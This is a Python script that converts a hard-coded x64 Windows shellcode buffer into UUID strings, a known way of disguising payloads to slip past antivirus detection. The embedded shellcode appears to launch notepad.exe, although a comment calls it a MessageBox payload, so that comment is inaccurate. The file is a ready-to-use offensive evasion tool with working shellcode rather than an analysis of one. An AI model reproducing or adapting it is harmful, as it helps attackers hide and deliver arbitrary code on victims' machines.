shellcodeToUUID.py

import uuid 

def convertToUUID(shellcode):
	# If shellcode is not in multiples of 16, then add some nullbytes at the end
	if len(shellcode) % 16 != 0:
		print("[-] Shellcode's length not multiplies of 16 bytes")
		print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
		print("\n[*] Modified shellcode length: ", len(shellcode)+(16-(len(shellcode)%16)))
		
		addNullbyte =  b"\x00" * (16-(len(shellcode)%16))
		shellcode += addNullbyte 

	uuids = []
	for i in range(0, len(shellcode), 16):
		uuidString = str(uuid.UUID(bytes_le=shellcode[i:i+16]))
		uuids.append('"'+uuidString+'"')

	return uuids

def main():
	# Copy/Paste the MessageBox payload here 
	buf =  b""
	buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
	buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
	buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
	buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
	buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
	buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
	buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
	buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
	buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
	buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
	buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
	buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
	buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
	buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
	buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
	buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
	buf += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
	buf += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41"
	buf += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
	buf += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
	buf += b"\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74\x65\x70\x61"
	buf += b"\x64\x2e\x65\x78\x65\x00"
	
	uuids = convertToUUID(buf)
	print(*uuids, sep=",\n")

main()